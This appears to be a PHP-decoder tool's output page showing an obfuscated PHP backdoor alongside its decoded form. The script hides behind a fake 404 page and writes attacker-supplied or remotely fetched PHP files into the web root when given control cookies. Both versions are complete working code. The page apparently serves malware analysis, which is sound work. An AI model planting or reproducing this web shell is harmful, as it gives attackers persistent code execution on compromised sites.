Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto uT; uT: $Uv = function () { function US() { goto Su; Su: header("\x48\x54\x54\120\57\..

Decoded Output download

<?  goto uT; uT: $Uv = function () { function US() { goto Su; Su: header("HTTP/1.0 404 Not Found"); goto wK; nJ: exit; goto HO; wK: print "404 Not Found"; goto nJ; HO: } $wY = "f.i.l.e_"; $fI = "c.o.n.t.e.n.t.s"; $r0 = "p.u.t_"; $cr = "g.e.t_"; global $Ki; global $nI; $nI = str_replace(".", '', $wY . $r0 . $fI); $Ki = str_replace(".", '', $wY . $cr . $fI); function DJ($lR, $bH) { global $nI; if (!function_exists($nI)) { goto qD; Up: return false; goto ls; pQ: if (!$Zv) { goto LF; } goto Op; qD: $Zv = fopen($lR, "w"); goto pQ; ZO: return $cK; goto ds; ls: Au: goto G6; ds: goto Au; goto UG; Op: $cK = fwrite($Zv, $bH); goto FG; FG: fclose($Zv); goto ZO; UG: LF: goto Up; G6: } else { return $nI($lR, $bH); } } function bc($lR) { global $Ki; if (!function_exists($Ki)) { goto hD; qm: return $bH; goto kw; Fc: fclose($Zv); goto qm; bD: z5: goto YA; hD: $Zv = fopen($lR, "r"); goto qd; kw: goto Qt; goto bD; qd: if (!$Zv) { goto z5; } goto mr; mr: $bH = stream_get_contents($Zv); goto Fc; XH: Qt: goto Ed; YA: return false; goto XH; Ed: } else { return $Ki($lR); } } if (!(!$_COOKIE["a"] || !$_COOKIE["u"])) { goto Qi; } uS(); Qi: $Sr = $_COOKIE["a"]; $Sj = $_COOKIE["u"]; switch (true) { case $Sr === "check": print "preg_wait"; goto Cu; case $Sr[0] === "/": goto Dn; mI: print "preg_success"; goto I3; I3: uy: goto o3; Dj: if (strpos($JJ, "<?php") !== false) { goto bh; } goto IB; QW: goto Cu; goto zj; o3: Y6: goto QW; kY: $JJ = $Sj; goto jn; jn: goto CA; goto NX; Dn: $nl = substr($Sj, 0, 4) == "http"; goto SK; pB: if (dJ($_SERVER["DOCUMENT_ROOT"] . $Sr, $JJ)) { goto Yx; } goto d0; YD: Yx: goto mI; d0: print "preg_fail"; goto wk; SK: if ($nl) { goto lY; } goto kY; WS: CA: goto Dj; wk: goto uy; goto YD; NX: lY: goto hR; gW: goto Y6; goto hf; hf: bh: goto pB; IB: print "preg_empty"; goto gW; hR: $JJ = bc($Sj); goto WS; zj: } OP: Cu: }; goto ai; NK: $IP = str_replace(".", '', $IP); goto YR; ai: $IP = "p.r.e.g._.r.e.p.l.a.c.e._.c.a.l.l.b.a.c.k."; goto NK; YR: $IP("/.*/", $Uv, ''); ?>

Did this file decode correctly?

Original Code

goto uT; uT: $Uv = function () { function US() { goto Su; Su: header("\x48\x54\x54\120\57\x31\56\60\40\64\x30\x34\x20\x4e\x6f\x74\x20\x46\157\165\156\x64"); goto wK; nJ: exit; goto HO; wK: print "\x34\x30\64\x20\x4e\157\x74\x20\x46\157\165\x6e\144"; goto nJ; HO: } $wY = "\x66\56\151\56\154\x2e\x65\137"; $fI = "\x63\56\x6f\56\x6e\56\164\56\145\x2e\x6e\x2e\x74\56\x73"; $r0 = "\160\x2e\x75\56\164\137"; $cr = "\x67\x2e\x65\x2e\x74\137"; global $Ki; global $nI; $nI = str_replace("\x2e", '', $wY . $r0 . $fI); $Ki = str_replace("\56", '', $wY . $cr . $fI); function DJ($lR, $bH) { global $nI; if (!function_exists($nI)) { goto qD; Up: return false; goto ls; pQ: if (!$Zv) { goto LF; } goto Op; qD: $Zv = fopen($lR, "\x77"); goto pQ; ZO: return $cK; goto ds; ls: Au: goto G6; ds: goto Au; goto UG; Op: $cK = fwrite($Zv, $bH); goto FG; FG: fclose($Zv); goto ZO; UG: LF: goto Up; G6: } else { return $nI($lR, $bH); } } function bc($lR) { global $Ki; if (!function_exists($Ki)) { goto hD; qm: return $bH; goto kw; Fc: fclose($Zv); goto qm; bD: z5: goto YA; hD: $Zv = fopen($lR, "\x72"); goto qd; kw: goto Qt; goto bD; qd: if (!$Zv) { goto z5; } goto mr; mr: $bH = stream_get_contents($Zv); goto Fc; XH: Qt: goto Ed; YA: return false; goto XH; Ed: } else { return $Ki($lR); } } if (!(!$_COOKIE["\x61"] || !$_COOKIE["\165"])) { goto Qi; } uS(); Qi: $Sr = $_COOKIE["\141"]; $Sj = $_COOKIE["\x75"]; switch (true) { case $Sr === "\x63\x68\x65\x63\x6b": print "\160\162\145\147\x5f\167\x61\151\164"; goto Cu; case $Sr[0] === "\57": goto Dn; mI: print "\x70\162\x65\147\137\163\165\143\143\145\163\x73"; goto I3; I3: uy: goto o3; Dj: if (strpos($JJ, "\x3c\77\160\150\160") !== false) { goto bh; } goto IB; QW: goto Cu; goto zj; o3: Y6: goto QW; kY: $JJ = $Sj; goto jn; jn: goto CA; goto NX; Dn: $nl = substr($Sj, 0, 4) == "\150\x74\x74\160"; goto SK; pB: if (dJ($_SERVER["\104\x4f\x43\125\115\x45\116\x54\137\122\x4f\x4f\124"] . $Sr, $JJ)) { goto Yx; } goto d0; YD: Yx: goto mI; d0: print "\x70\162\x65\x67\x5f\x66\x61\151\x6c"; goto wk; SK: if ($nl) { goto lY; } goto kY; WS: CA: goto Dj; wk: goto uy; goto YD; NX: lY: goto hR; gW: goto Y6; goto hf; hf: bh: goto pB; IB: print "\x70\162\145\x67\x5f\145\155\x70\x74\171"; goto gW; hR: $JJ = bc($Sj); goto WS; zj: } OP: Cu: }; goto ai; NK: $IP = str_replace("\56", '', $IP); goto YR; ai: $IP = "\160\x2e\162\x2e\145\x2e\x67\56\137\56\x72\x2e\145\x2e\160\x2e\x6c\x2e\141\56\143\x2e\x65\x2e\137\x2e\x63\56\x61\x2e\154\56\x6c\x2e\142\x2e\141\x2e\x63\x2e\153\x2e"; goto NK; YR: $IP("\57\56\x2a\x2f", $Uv, '');

Function Calls

None

Variables

None

Stats

MD5 ed8d192287451d68fa8af55b6c55fbff
Eval Count 0
Decode Time 117 ms